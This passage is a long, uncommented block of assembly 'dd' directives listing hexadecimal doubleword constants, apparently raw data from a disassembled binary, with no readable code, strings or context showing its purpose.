dd 0A555238Eh, 6E8C3316h, 25D29040h, 26274184h, 8028479Dh
dd 0F8B7D1F3h, 74007BF9h, 2C384A8Ch, 0C03097A6h, 3D049D88h
dd 92009E3Ch, 70011BB3h, 7542026h, 9B5CEF42h, 6E0870C4h
dd 0EA0062AAh, 0B867599h, 1E856368h, 78F2A55h, 0EBEBFF52h
dd 70468B07h, 5953819Dh, 0B77C8AF6h, 54131C00h, 0DD390BD9h
dd 0C62D00B6h, 7F0FB9B4h, 280008D8h, 308B2290h, 3D3F2C46h
dd 2730AEC1h, 2C83EA6h, 755339h, 0EB4D5955h, 334B88h, 810C22FAh
dd 5EE3F911h, 83D2F300h, 4896893Eh, 17EAC4h, 13E5E842h
dd 2437B2BBh, 90286475h, 3927E097h, 74C0E019h, 0BEF6DBh
dd 5F7D7BD6h, 0BA501F2Bh, 32B59200h, 6DEA035Eh, 88E700C7h
dd 2F4561CEh, 0A7000416h, 8A489C8h, 2628FA0Dh, 948869h
dd 6872B2FFh, 8F046A02h, 0FB6E1074h, 0CC1578A1h, 27F978C0h
dd 96B71C5Eh, 80D49E2Dh, 869881CAh, 0CF0016E3h, 91B3882Ah
dd 756697F7h, 9C43264Ch, 0DDEF001Ch, 744F445h, 0B11F9498h
dd 0FE2608h, 0F9794E2Bh, 0CD247FEh, 96DBE9D1h, 9100F1F0h
dd 0EC9239EEh, 370593h, 0D6672C4Eh, 7DDACEA3h, 276E0A14h
dd 80613D83h, 0B4015F7Fh, 49EBD1Eh, 411FBF90h, 85FAC071h
dd 0F161A0E4h, 0F82977F1h, 0C4221863h, 1FB8E21Dh, 77BC9FC0h
dd 29ED6E4h, 5CC5CC2h, 0D8409AD3h, 0BA006C81h, 1F03EF25h
dd 9A64BCBh, 3AAC6A7Fh, 39E23C60h, 12A9A50Eh, 0B7405E35h
dd 4861B18Ch, 0C35300EAh, 25F74CF6h, 0E0091894h, 81D0FB31h
dd 657D8E38h, 122CFC22h, 0C0AD15BDh, 88A2FA02h, 47066CFh
dd 0E5EBBC00h, 20420E8Dh, 4BA60007h, 3B2C4A9h, 50B03BE8h
dd 0AA45D1Eh, 0A7439B81h, 1DE074C2h, 0E5C9CAFFh, 41CA00C1h
dd 0A06E7BACh, 6DB4500h, 0AA46E70Eh, 0A5810061h, 919F0D48h
dd 52006775h, 0F4C716F8h, 1BAF056h, 9A92B893h, 0F48B7433h
dd 0C8C08997h, 3C09D92Ah, 12C09057h, 83DE8C05h, 0E4A09278h
dd 0A60083E1h, 0AC90E26Bh, 0B8CEE6Fh, 26ED64B0h, 84418060h
dd 3B006171h, 1B0215DDh, 2A776FEh, 0D856A67Ch, 8CA077A2h
dd 6F3322BAh, 748948h, 7895A4C7h, 18AF021Ch, 6ED33154h
dd 109D4620h, 5FC24E8h, 0B73C6EE8h, 0C52CA059h, 0F41ACA01h
dd 3BF248A3h, 306403E0h, 7121875Eh, 0A9014EE5h, 0D3D90D07h
dd 48303488h, 430B1E96h, 0F9090F49h, 35901400h, 0C7033050h
dd 37AE4BF5h, 0DDABA093h, 876500F1h, 0A3C0A433h, 787B5C12h
dd 4719D2Ch, 70907092h, 97F1C258h, 0E6B22C80h, 7A05BB36h
dd 276C240Bh, 0C100F4E6h, 446F49A9h, 0DA0174D7h, 0A3208A59h
dd 307CFDC3h, 2BB85E01h, 0F4193C28h, 0FC98EBB9h, 8F887503h
dd 578065Ah, 0E2E4F310h, 20268731h, 9B19B983h, 0AF9FAE05h
dd 9500980Fh, 9C6B293Bh, 84EC02A4h, 0B5BA6148h, 0F4F250E9h
dd 43263B02h, 1D8AF0A8h, 9E04ABE4h, 98803F99h, 40984h
dd 898FA3C6h, 48F7E2C4h, 683C57F8h, 8621EE9h, 0A143E41Eh
dd 64BA71h, 31924F48h, 3FF586F1h, 0B58BFF00h, 240CD866h
dd 87FA1AD0h, 14C028FDh, 0F300A1B9h, 2B6354B6h, 7B31CEh
dd 0DD18F408h, 0EA9575BDh, 686D8D06h, 0F8DBC7h, 0E62103E8h
dd 0CD4F8446h, 33AD5A03h, 98365DA7h, 3AB8CA0Eh, 3FFC6E99h
dd 8480B34Fh, 0C355607Ch, 14141AA0h, 1CFDC922h, 0E2828C6Dh
dd 7C8AEB94h, 0A06C00C0h, 9AA413CDh, 0F3747F24h, 0F88C283Eh
dd 67016102h, 405C022Ah, 0BEA649h, 1346D5A3h, 7AE24A47h
dd 39AADD00h, 0EC44120Bh, 0A6B007CFh, 2572D81h, 18788F2Ch
dd 53F4F00Fh, 80CAA951h, 0EA99E764h, 47A9072Fh, 0F00501F2h
dd 5932D977h, 0D2BD9601h, 375D7F75h, 0B4871C60h, 0A8F24534h
dd 940E7D5Ch, 1A2EE29Bh, 61EE6010h, 60E31DBDh, 21CD4A49h
dd 2F8389FCh, 7D983CF2h, 84002D4Bh, 8C6081E7h, 0A16901CCh
dd 56EC145h, 46BE465h, 2A8D6807h, 3F36FEBCh, 85E30930h
dd 708CA19Bh, 0A9005C10h, 563B3490h, 3DA7B0E9h, 91EF993h
dd 50EE8Bh, 0AD77837Ch, 7FFEF759h, 88DBB000h, 0F4847DFCh
dd 0C8E500A2h, 2CB4E06Bh, 6700808Bh, 75C65A71h, 98C556ADh
dd 0BDB8005Bh, 0F51870D5h, 2105633Ah, 2540F73h, 1B372780h
dd 926F079Ch, 1188CA83h, 80DFDD3Ah, 0C66885F8h, 90FE329h
dd 0A24FCF1Bh, 0E646A4A0h, 0EE2E0309h, 3E008B45h, 0B31AD631h
dd 65750098h, 0C750F654h, 0BB0058F2h, 0E41490B9h, 988B3735h
dd 798A00A0h, 0F0553E69h, 8E22039Fh, 3B9807D4h, 80C44CE7h
dd 0C59C8AAFh, 38B9F75Ch, 57B209DDh, 16D48F3Bh, 96BC0F4h
dd 957B40D6h, 361198A0h, 5D00FC99h, 4DAC4C91h, 120D2002h
dd 803C892Fh, 5911CE34h, 0E0621600h, 0F3C6A896h, 5274003Eh
dd 93A631D5h, 6F5802D6h, 489901E4h, 0DDF7A19Dh, 0FA6920h
dd 9B7897FCh, 0DE93647h, 0DCAA1B12h, 12CE4082h, 5002456h
dd 661F9A27h, 0BACA078Ah, 0F0AAA5AFh, 2A595C4Dh, 0C042AC01h
dd 0DFA3240h, 0DBF1F0h, 38D2EB46h, 340EA998h, 5CBCE400h
dd 939C3E7Eh, 2933043Fh, 80139973h, 270F4A5Ch, 0E53DA00h
dd 2E2FE720h, 48654832h, 120C941Dh, 6268025Ch, 0EA04D1F1h
dd 0E2A0D0FCh, 0F0C1D637h, 346E2375h, 0B868006Fh, 89EECD06h
dd 2142AC94h, 7BE0005Eh, 0D760E332h, 6ECD8D38h, 834600A2h
dd 0C1DC3B1Dh, 0D30F298Fh, 0E48EA089h, 180559D1h, 0F00CC711h
dd 6E108D2h, 3C10B659h, 0E44D2AEBh, 0E1EFCE25h, 71A60EF0h
dd 0ED28B973h, 0BE3127E1h, 74981811h, 0B509DE70h, 0B724C7h
dd 4E6F5834h, 4328009Bh, 0A4C96433h, 170092C4h, 7432CEB3h
dd 0FC58118Ah, 7CBB909Ah, 0A7BA0067h, 0C59B304Eh, 7B1E0CC7h
dd 2B4D97F0h, 0C8DC9825h, 0FD1A0080h, 0D6DC860Eh, 9000B4E6h
dd 1C069527h, 3387407h, 2C584365h, 2001DE7Dh, 0FF7ECAF3h
dd 42D8165Fh, 18BA0095h, 922E7F1Eh, 0A8B04C33h, 2BE9F200h
dd 87A42324h, 0EC4B1D26h, 40F69F72h, 0CD16F1A5h, 0CE008E97h
dd 0B002A38Ch, 147B1CAh, 546DD568h, 708D7306h, 43E23C1Eh
dd 0ADAC2C54h, 0EE0ECD7Bh, 60402849h, 0ACE77AE3h, 0DF7282h
dd 22462E0Eh, 1657856Dh, 8B281805h, 40BCF9B4h, 4B6BC407h
dd 0AC09C0F5h, 9D3F0838h, 0A3B8504Dh, 6200DD73h, 0B4693DCBh
dd 4A8AB16h, 0B831A53Fh, 0C874C314h, 47D14FCBh, 1C042874h
dd 0F4940A9h, 622080E2h, 60E5A682h, 67D81687h, 0C700256Fh
dd 5C7ADCF0h, 4C544658h, 34007FB6h, 9DBC1DDFh, 0F000FD7Fh
dd 9B8CEBDEh
dd 674D5Bh, 0F6C4A779h, 0A9AB5AA6h, 8FADDC12h, 0B2970B0h
dd 0D15369EEh, 0E3611440h, 0B288A00h, 67442E08h, 0B57D2DD6h
dd 0D36B8CE8h, 69C03800h, 73BA46EDh, 0C54D00E0h, 0C840E16Eh
dd 4B01E271h, 547C38CFh, 55E43CCBh, 62B658CCh, 3BCEF28h
dd 0C0ACC526h, 113CCD38h, 4A73E9Dh, 9A174A6Ah, 607290E4h
dd 645799CCh, 513AEDBDh, 3DF11D94h, 1B98B883h, 0D0AE062h
dd 1E4926Ah, 0ACCD253Ch, 3495E5D7h, 0F606F140h, 5189D9DCh
dd 0CD0A0048h, 0D7E1E58Ch, 0D83A20E8h, 914080D0h, 0A9993FD4h
dd 0CA9B5CCFh, 9A2C5300h, 6C8C9514h, 0EAEC120Ah, 0A0A2C1Ch
dd 0ED003C0Ch, 4F64B5BDh, 0C5611DA0h, 5ADE8048h, 3E418E46h
dd 98B90B00h, 69D12BD3h, 4D6C00D5h, 0E327D60Dh, 0CE00EDC6h
dd 351DA0E5h, 0AFF5B3h, 0AAE9B22Eh, 23D10F47h, 72A2201h
dd 0CF2FFDCEh, 0F87E76CCh, 4639003Bh, 1A621EEDh, 2900C1C6h
dd 0DBB89F63h, 0E48D0A9h, 0EDD133EFh, 0B2CD8A60h, 0C375054Ah
dd 0B6F2DA00h, 9B9025EEh, 89AD0634h, 0D1F9F0AEh, 3AC26400h
dd 16E39AA2h, 225400BCh, 2538218Eh, 0D503041Ah, 5E14F744h
dd 0EF4AA374h, 2A49BE20h, 0C9F20283h, 0CE0AA048h, 5B68E0A0h
dd 690AEA7Eh, 0A0A3B3C0h, 0CD11A006h, 156E0121h, 5F622AC9h
dd 403A3025h, 4AE49h, 0D52E4E3Fh, 3F55947Ah, 6980E96Fh
dd 0DEC992B5h, 0A054C6FFh, 4F1C7EC8h, 0B080652Eh, 7C23FD60h
dd 0FACD00B1h, 0F075336Fh, 587E0849h, 0C691740Ch, 0F43994h
dd 1CFE6A42h, 0B79B8DC3h, 5E9F5A00h, 9203F049h, 1E7090DAh
dd 80090AD4h, 16916041h, 2104067Ah, 4DA06193h, 190488h
dd 0E9D3202Eh, 159F8CC7h, 1DE8D777h, 0F20CCF00h, 1B16A06Ah
dd 90D11F57h, 0E9D9D898h, 1000B4F4h, 9EDDCF80h, 0CAA5471Ah
dd 0D0049C11h, 0D53EBAF4h, 36190381h, 0E07EFF06h, 1CD39360h
dd 6433C1AAh, 9EDF00B3h, 327183F7h, 0A2008075h, 42C87C9Ch
dd 3B41AFAh, 88BC5CD9h, 6CABC587h, 988DC3CCh, 0CF5BB890h
dd 8AF33E0Fh, 91019CE4h, 69139BE5h, 6E4C9040h, 0F2DEC0Eh
dd 3CD68D8Ah, 0FDA95C2h, 0B618EFE0h, 539A7A07h, 5F5E13D8h
dd 0C22F2580h, 622191h, 15FD4BB5h, 7363044Dh, 0E3008275h
dd 0F8A7983Fh, 54FE91h, 903157A4h, 7875958Ah, 866E0F2Eh
dd 5D53A0Eh, 66C16F4Dh, 0CEF00424h, 0C2A6008Eh, 38EBF06Ch
dd 0E500EA73h, 0B07C56EFh, 7D7003h, 5A25661Ah, 49BDD36h
dd 953CEEEEh, 50BEB1h, 6297F382h, 501F4C85h, 0B864B4CCh
dd 8FE93F9Eh, 6E057700h, 8BEB8C50h, 85C7F701h, 0E4E72C19h
dd 28960CEh, 0A9A0010h, 7F9BC371h, 3E784A11h, 445C840Ah
dd 8100EEACh, 886CA020h, 0BAA81CD8h, 333105FFh, 64EC40CDh
dd 0CC960537h, 57C76D2Ch, 0ABD9A63Eh, 6D01CE17h, 0B014478Ch
dd 145C79CCh, 0BC457792h, 7C1AE907h, 0BFFB73D4h, 0C30743B8h
dd 0D49ED00h, 0B49F5DC1h, 3CC00B3h, 0D170222Dh, 2401FC2Ch
dd 8F7FB18Ah, 0B9AC891Ah, 0D8F600A2h, 46D18319h, 7C00F476h
dd 0C2B21851h, 0C4E9B4h, 8CF31F21h, 91FEB6E2h, 8FB7E100h
dd 0A1EC0131h, 90A7F6FAh, 60236024h, 0FD7AB5Bh, 0EA01CC0Ch
dd 0A221ADh, 41BB9303h, 73DE3DDFh, 0D73CD301h, 338DE595h
dd 0BA5BECh, 5E9790FCh, 949A088Fh, 77013900h, 3A7FB851h
dd 0ECC60599h, 2DAA1E7h, 0A55256A4h, 0EF38B800h, 0D02650E4h
dd 174B03F0h, 0FD42D76Eh, 7A6220B7h, 0AF782DA0h, 93F8D360h
dd 90E3355Eh, 0EE8A019Bh, 2E479444h, 0DE702480h, 2795D200h
dd 1F7B3B59h, 86E6001Bh, 0E102ABF4h, 0A3790A97h, 0F9619500h
dd 7577E52h, 668E0011h, 0B18DFDD3h, 0E6003268h, 0E0F2213Bh
dd 8C2842h, 852C4EECh, 0AF044FEDh, 44D67706h, 1B8F052h
dd 826EAA1Eh, 7012ABE1h, 493CEB46h, 0B002F8E2h, 0A9EFEC14h
dd 9C0460B8h, 0FCE0CFC5h, 2003A1Fh, 3A14DDBEh, 33165A3Bh
dd 781096B4h, 560912BFh, 7B221C40h, 4D4F73Eh, 1161ACB5h
dd 9334D0A6h, 6C1C0BAFh, 6900AACDh, 0F72286CAh, 36D1F1Dh
dd 0FF5143FEh, 12B8C621h, 3900B836h, 0ADDED7C1h, 3403D38h
dd 667E2757h, 203913CDh, 3B4D0098h, 9C99BC52h, 1D9B00BBh
dd 0E692BFA1h, 3007603Eh, 276B703Ch, 0E0FC24D3h, 0E4B45BB9h
dd 83C00004h, 6E521A31h, 5D001DD8h, 0B2354477h, 0EC0D20D3h
dd 894B0766h, 0FE698F7Ch, 56C811ACh, 0A2CEE500h, 0EF4D9988h
dd 0F5600064h, 0C39DAAEDh, 7700B973h, 0E4430180h, 97B216h
dd 40BEDAB5h, 0CB89A652h, 0A883EC03h, 0F09825AAh, 67DE7Ch
dd 0DFE8F250h, 829AC4A1h, 24A9AF00h, 85E9EFCAh, 14BA041Bh
dd 9063DC29h, 94EA3B48h, 3AA27B07h, 7F0FE2DFh, 62E54940h
dd 2DF35Eh, 8A21AEC2h, 82140D31h, 0BFA5A713h, 1643000h
dd 1D5A2A05h, 9DF32999h, 20B5215h, 54891BD8h, 806601C1h
dd 93B52A11h, 0B027A4h, 0C475F340h, 78A882EEh, 4A42921Fh
dd 0CB801824h, 4F5F8344h, 0A234022Ch, 0D58AC945h, 43DE7440h
dd 9142650Fh, 8FE161E7h, 0BF07DADh, 4C6D28E4h, 6B9B00E8h
dd 0BF0F712Dh, 10F4271Dh, 0B25F5900h, 92FB3B99h, 21BD187Ch
dd 78D831D5h, 0D9190D60h, 0E562A53h, 0A08CAD48h, 0FF6B140h
dd 73581489h, 4D380030h, 43A85019h, 0B3E900EEh, 59A07116h
dd 0FE4C42A4h, 0C0AA0094h, 0F7581990h, 7BF30034h, 89E441D7h
dd 5A05F45Eh, 0FAA518BDh, 0BC708EC7h, 0FA92C4Ch, 403C78E3h
dd 32971120h, 8D00E416h, 0F7853719h, 390C973h, 0BCB6D2DDh
dd 7D90BFDAh, 4E2EB44Ch, 7B0F657Fh, 0C63BC09Ah, 8FCCA6h
dd 75E846E7h, 32884D80h, 0F9FD5D00h, 1872DEFAh, 0BFD1001Dh
dd 9B80EFBDh, 7704AD73h, 2D0B7BC7h, 0A3CEC3h, 0DA747119h
dd 0CF92ADD9h, 0F9DE2500h, 0E3502770h, 7F8B007Dh, 601FB118h
dd 0E67EA854h, 33BCA700h, 3987CAFh, 48E0EE08h, 0F403954Ch
dd 42C519B7h, 655259A8h, 0F2DD1300h, 8092B138h, 224BA88h
dd 2BD2508Eh, 8682CE9h, 0A12C6AB0h, 3A806CBEh, 0FA4020Eh
dd 0AD1B0066h, 0B21E59A5h, 1A01633Ch, 246D3278h, 520347Ah
dd 7635007Dh, 74CA8030h, 0CF008F2Fh, 0C393317Fh, 18C403Bh
dd 5AF8F9C6h, 74684C66h, 0F7B09C60h, 180CB59h, 0EDB4B956h
dd 0D4D1A954h, 309286D0h, 4A21C844h, 1A3CD58Eh, 1CAC99D0h
dd 0EBD0AB08h, 87143026h, 0A1F303D9h, 2306649Ah, 2E63A5EDh
dd 0F49D0008h, 8B465279h, 4C00E2E6h, 0F928CC94h, 5A91BCh
dd 76B2A60Fh, 9A6D8C4Dh, 59CE5D00h, 23266E8Bh, 0C2AC019Ch
dd 0DD0A0312h, 94B6E0C7h, 4C002B76h, 0AC379197h, 0C545A22h
dd 0F8FD2662h, 0A8051B91h, 0AB8591C1h, 0A2FF4C01h, 2DF07804h
dd 0F8BC00CEh, 0F5D7C660h, 39CB994Ah, 0C2610783h, 0ABD680D0h
dd 905250ECh, 82540AC8h, 428CB892h, 0A890624Ch, 0A83E3D5Fh
dd 5C373AF9h, 0C84507A5h, 0C0504D8Dh, 5E8E9Ch, 248DF7Bh
dd 86D88433h, 3126087Ch, 9900A1DEh, 0B5F11C51h, 0E99F008Ch
dd 62616BC5h, 920050CFh, 1A96DF73h, 0D9CAD4h, 2ED69CEDh
dd 3FB2C852h, 0AF0E80E6h, 408CDA54h, 0D945697Ch, 9DF4E9B4h
dd 37F260h, 0E659CFC6h, 429998D4h, 0D6006B90h, 0C06FC2D1h
dd 25FCCBF1h, 7818A8CFh, 7E01E67Ah, 850B74A1h, 0B2D045D8h
dd 2AC1F7Dh, 15688F89h, 0C07F7C87h, 86B72F1h, 6973860Fh
dd 8D390701h, 107546h, 0AFCB8418h, 479888D5h, 9009ACB8h
dd 76099Fh, 0A1BD0279h
dd 870C036Ah, 85086D75h, 8112C0C7h, 17787F71h, 617EC13Ah
dd 0C7187930h, 0A9C9Dh, 0B20D5BA1h, 0C504737Fh, 0C6397289h
dd 7AB4E8A2h, 0F482BB04h, 6CE1EB23h, 37E03B2Dh, 34D80088h
dd 65E69E19h, 56182FD6h, 0E818D064h, 623201BCh, 0C9A4EBA0h
dd 0E7B870C5h, 87077825h, 0AF4175C4h, 61BBCAF9h, 0E014FC00h
dd 85B51954h, 0B4E14C1Dh, 96319818h, 0C1470F4h, 905AAC08h
dd 4C03E099h, 563D946Fh, 1601B0FCh, 0E488001Eh, 3C0E5A4Ah
dd 1009A4E8h, 0C31F4B91h, 0D242DF44h, 36CE4F7h, 6246AABCh
dd 0CB88A52Eh, 8CC9525h, 1E621B8h, 9D8C46A2h, 83D71AE0h
dd 7256FB1h, 0B206A1DDh, 517949E4h, 300B84D3h, 47C0BE88h
dd 1AE649Dh, 1CAFF288h, 89C62A21h, 40E28D50h, 93DC28h
dd 4E5EDDFEh, 68B5703Ch, 0C2E75304h, 83AF8D1Ch, 0B2E05D22h
dd 2E00EF82h, 81B0F44Eh, 31491ED8h, 9150EE86h, 83C84CCAh
dd 0C0B6F488h, 72195C91h, 587FC949h, 6B462500h, 874E40C4h
dd 19577D2h, 551A0618h, 50CC99F8h, 0E621DE88h, 94F9A9C5h
dd 0B97FD043h, 202690D0h, 0B28C00E8h, 0EF4F87F1h, 310454FBh
dd 0A0A57DE3h, 3FFD0498h, 0E190EB14h, 809BC8B4h, 0E514F58Fh
dd 0DF6329DEh, 0F8085971h, 0E499F4A1h, 0C4C9D0C4h, 0AE01D623h
dd 852E6E46h, 0E288B118h, 0D44600A6h, 9D08D97Ch, 96F4A8h
dd 0E8078089h, 15623C8h, 0D8843D93h, 0CB120F9Eh, 0BCCAF8E0h
dd 562BB0A0h, 203C1B31h, 12FFAC7Bh, 41A61838h, 7C4E2794h
dd 3B8100CBh, 97A74ADh, 9FD232CEh, 405B9801h, 0CC818051h
dd 4C79DE18h, 867581A5h, 0B2CD1690h, 0FB80A20h, 4074E911h
dd 2E6F46B7h, 0C0228D46h, 46AFE300h, 3BACB232h, 0CA7100A6h
dd 63FCC84Eh, 80014C6Bh, 0F7BF9C7h, 0F04549B2h, 0A423D83Eh
dd 0DF8BC900h, 9D7E578h, 0BD5445D5h, 0C1584820h, 0CC0A7BB8h
dd 0B485F9F7h, 6862A080h, 0C601CACh, 8804D4C1h, 21C1AE08h
dd 0DA685AC5h, 0F7466D0h, 17674A36h, 0B71D7842h, 8D6F8881h
dd 0C10C24E7h, 7214D00h, 57BC5F48h, 2CDB3C9Eh, 0CD0E2401h
dd 40A32A31h, 513CB7B8h, 0D0DF2628h, 85A0506h, 2A50ABF5h
dd 1E9CD901h, 0F0BC562Dh, 5A511CC0h, 0A730B661h, 8F3A584h
dd 0D0D14038h, 5E2E9C01h, 3082B5F0h, 54AC6CECh, 3B0C8C72h
dd 40C1EA49h, 843E0602h, 51EE1218h, 0EC029441h, 46AD30D7h
dd 7D2E6111h, 0E19EB988h, 5AE246C0h, 444FFBEh, 0BFAD114Ch
dd 1D7805Eh, 60C4CB0Eh, 0D088FA2Ch, 214F3D4Dh, 0C885A480h
dd 3D1E87C1h, 7D5ED8F1h, 9FD17C02h, 1210E0F7h, 34C07843h
dd 0E1EC556Ch, 0E9B3E0E9h, 5DD65F05h, 0F041B27Ch, 1BE01D8Ch
dd 0DE0B9832h, 28201227h, 3701040Ch, 0D6FA411Eh, 60124426h
dd 9775B049h, 80A49108h, 0AF22D41Ah, 8E29129Ah, 0EF0052D9h
dd 0A3DEF200h, 52D405Fh, 0AC65D161h, 0D0C42363h, 0EBC1100Ch
dd 63FC0867h, 0B95F59DFh, 27C64CD0h, 0B7836F00h, 0E87098C2h
dd 8AC7030Eh, 0E1A1FD65h, 0D32452F0h, 6046E58h, 0DC2CDF11h
dd 92B01B81h, 1CC0514Dh, 6D2870F9h, 0B350DC30h, 58CD3F0h
dd 2E6546A9h, 148E9Dh, 1E46A1E5h, 43E5142h, 8D770A12h
dd 0FC55815Fh, 8A6980DCh, 57F9D629h, 4FF6EBh, 6C4CAAAFh
dd 6D4B325h, 20E9A7E1h, 0A440C258h, 0FF770ACAh, 18D4D1A9h
dd 0D3A0C1BBh, 81C021B0h, 0F03716CAh, 38750128h, 96CDC7E4h
dd 946EA4DEh, 856E5A40h, 1D5312FFh, 0E80C594Fh, 46F019D5h
dd 0AD2E2C63h, 0ABE770B8h, 5364609h, 0BE1D845Ch, 3A54A880h
dd 0D8A64812h, 4909D948h, 2007967Dh, 725371A0h, 1C4CFEA5h
dd 0E114FB02h, 19B51154h, 0F38910A0h, 1EBCB014h, 808E6B48h
dd 0B3435D4Fh, 846492ACh, 0A4C48CD1h, 0D280D884h, 26013CD8h
dd 8214DE62h, 0C9BD78BAh, 0B4E8CA00h, 6388DC39h, 0EE14FA01h
dd 0A7180954h, 14F8608Ah, 66260E04h, 3042ECC3h, 8441A9D1h
dd 8FE18A1h, 0E954EA14h, 0B8F68C70h, 0DAF20190h, 9EF7FF03h
dd 0F5B030D1h, 6864048Ch, 62901CAAh, 37C32797h, 7791D068h
dd 1F58562Eh, 0F2CC8564h, 68612420h, 381C23B7h, 0C637AB11h
dd 9D23E320h, 41CD2BB8h, 8458AC11h, 8E67F709h, 6FC72843h
dd 937C39E0h, 0CD0FE33Bh, 0E0DD0914h, 8710C6D3h, 6F9D022Fh
dd 0A1C455A6h, 0C8FCC485h, 3F00B608h, 7095F265h, 3A4AC6Fh
dd 972505EFh, 409029C0h, 96000364h, 981306Ch, 59D63255h
dd 4713B488h, 5D1831A0h, 89806E4Ch, 52D61061h, 0AAE27C66h
dd 74F55A30h, 1EB104FAh, 80E38601h, 0C5282518h, 0AE92B700h
dd 0A22254E4h, 0A4E8173Dh, 780492F9h, 86425B40h, 27073500h
dd 0D9B491F6h, 40F200E3h, 578DD734h, 0C1EE0230h, 0E0B982FBh
dd 50B05692h, 7040BB70h, 5905E44Ch, 5E7D649Dh, 0C34A7081h
dd 4E7EC00h, 1448A54Ah, 8E80BAB1h, 0F1F2A6CBh, 0C50024C0h
dd 6E849C21h, 17EFE4Fh, 0BBC4A3EFh, 20A5D52Eh, 28CA268h
dd 54ED14FFh, 0F4E5B5F1h, 14F78D87h, 0A2185246h, 912015ACh
dd 0BFB680A0h, 2F0A7BCh, 809404Dh, 4C499E0h, 0D2CC9046h
dd 57079169h, 0D12E345Ch, 9F29C230h, 67ED0501h, 91FE0F5h
dd 0C4826F14h, 0A46ABC92h, 0E8610860h, 29225002h, 60A4F701h
dd 548D9C22h, 0F0DCD4h, 5AFE0AECh, 91A1ABDDh, 0EA18CC94h
dd 0D4D121h, 0B3A2CE0Ah, 0AF8D2137h, 5E306F0Fh, 445E5754h
dd 405822D1h, 0C8A0203Dh, 0B975CE03h, 26CB0108h, 74C41910h
dd 2C17BD46h, 63F300CCh, 0F91A0C7Dh, 7CCBC62Eh, 70662EC0h
dd 1090C1AEh, 2CD9AA01h, 8CB9EC84h, 233E3700h, 4B06B884h
dd 0B7780395h, 0B1ADA859h, 0D130C821h, 0E02618BFh, 0EE8B0198h
dd 0F57677F3h, 0A62180B5h, 0E20B3553h, 0AE16009Dh, 0B6B17075h
dd 76FC81F1h, 0E88D2635h, 0ACDF2C41h, 8C28E35Fh, 0EC137A3Ah
dd 671030F8h, 1C23A968h, 0C0443E88h, 0F6689F00h, 773A0C39h
dd 0EF0303D9h, 0AEF57D4Ah, 8503917Ah, 0C6F648BBh, 0B0B4F0D0h
dd 1249141Ch, 5A00ACEFh, 0E2F1D4Eh, 0F450D1B2h, 2B00F264h
dd 0DFC8E48h, 1CB0632Dh, 1C27AD83h, 349B5242h, 8894CBC4h
dd 7369C399h, 978DA80h, 21C445FFh, 728D6CCCh, 29050078h
dd 0B311DE1Bh, 0BF353969h, 22FD000h, 203071EAh, 0A05FE228h
dd 0C4BC9648h, 9C82B205h, 5E85A8Eh, 0AD38548Bh, 92B4C863h
dd 0E9B74930h, 93D1A2ECh, 2808A1D8h, 18114CC0h, 0F38AB23h
dd 5054EC14h, 14F88AE0h, 0B1EA58F8h, 3DD4DD00h, 0AE997BE5h
dd 3CD0595Dh, 0E8B3C59h, 0B891E097h, 5DCE0D80h, 64B2B150h
dd 3BA1C960h, 171AB32Dh, 1617D074h, 23002F68h, 60C400A2h
dd 79A48994h, 0E3226907h, 0BC233066h, 0E27000A5h, 84B1E406h
dd 0BA4B7618h, 3C993830h, 7968917Bh, 2A118AEh, 0A5524BDFh
dd 9F400EACh, 65004CE7h, 56C8D6Bh, 4D790Dh, 6D47B580h
dd 0CF831326h, 8591B8CFh, 0FC09D823h, 0C464C50Eh, 0F43660BDh
dd 574022Ah, 53900877h, 8D2450C4h, 0EC8028E0h, 13221FBCh
dd 59F216h, 4A93B77Ah, 2A446347h, 0AD904E14h, 0E9985890h
dd 3B4430E6h, 3E5B6B13h, 0ABC8688Bh, 88E24C0h, 0DBEB1D2Eh
dd 75CA8BFh, 6CB073D6h, 5F15F087h, 48FCD57Ah, 7934C106h
dd 729DE8Eh, 4C06AA2Ch, 1099117h, 169BC4EFh, 1404CA2Eh
dd 2D136659h, 0BCAF54A9h, 0F708FFF8h, 1CD4F9B1h, 225E80h
dd 0FFFADB5h, 0FC000AFEh, 0D6DED3A1h, 0B26CE9AAh, 0A5D12094h
dd 2889F700h, 99E1632Eh
dd 0CC67EABh, 0B783F450h, 8E4C9F30h, 0BF668014h, 79B2E19h
dd 3A8B6149h, 0DA35E08Ch, 0CA4D6DA8h, 0AB119330h, 0F29E00E8h
dd 2E0454A1h, 33993A47h, 53644580h, 0AAF51305h, 12729C0h
dd 757D3DBDh, 88340206h, 481DCA03h, 0AD522460h, 5B91AB88h
dd 6C244783h, 0D0377B35h, 0A2EB3900h, 19470D7h, 562AB93Dh
dd 844169h, 80F2EA49h, 8F05219Bh, 3A5651CCh, 2EDBFCC3h
dd 110CC150h, 0AEE875Ah, 0CEED480Fh, 0D69B00F1h, 6B75E80Ah
dd 0BE6000ECh, 0E59AFC3Dh, 8A49193Ch, 108D24ECh, 0C98EB40h
dd 21EA01FCh, 601EC96Bh, 119FE8E5h, 5C1DD090h, 0B2CE52F3h
dd 93978EE7h, 141BFC92h, 72FAF1EFh, 4DD41E9Ch, 0C1943349h
dd 0F5109604h, 0F300F66Ah, 0AC9E4B72h, 16FCAA1h, 29202FDAh
dd 3112E4BDh, 4D821D4h, 23802FBCh, 0E1BE00EAh, 87D58CF2h
dd 32550C0Eh, 0A4EBA53Ah, 790040B2h, 31E6337Fh, 5E4B0DBh
dd 0C202140Bh, 0AD1A0051h, 9EA35092h, 0E46680F0h, 0BED888CCh
dd 3BDC289Ch, 4080B0B1h, 3F6E1523h, 9E3CDD54h, 0BFC5935Eh
dd 0E62A6480h, 303D8198h, 2C8CF318h, 13F8686Eh, 95186240h
dd 6866D920h, 4C8A0505h, 0D039B519h, 24DE9044h, 0A184E120h
dd 0E0185828h, 5AFA0A04h, 0E932A87Dh, 0AC89520h, 0D4230E6Eh
dd 0E140173Bh, 30963A52h, 0B90C5490h, 0C0BC9508h, 0A19D1D6Ch
dd 40A4A4E1h, 2604BB18h, 0CA7E43Bh, 59D88DC7h, 0E1BA02C1h
dd 7E420B21h, 6CECF4C0h, 0B0D244BAh, 9FF900D1h, 1F59E180h
dd 0D5654878h, 950EDE0Bh, 0A2B604A4h, 0DF3D08D0h, 22E74F29h
dd 2D1048B0h, 0D420286Eh, 9FE400E0h, 1F1E7F05h, 0E7038E5Eh
dd 1CB1ECF2h, 906F8DC8h, 305ED700h, 0FC72B40Dh, 1D9F6CB4h
dd 8170900h, 4ABA9147h, 0B0F82051h, 0AC243DA8h, 1D409892h
dd 13114E21h, 0C405D664h, 0B0F4B65Ch, 67F9FE2h, 8E2DCB86h
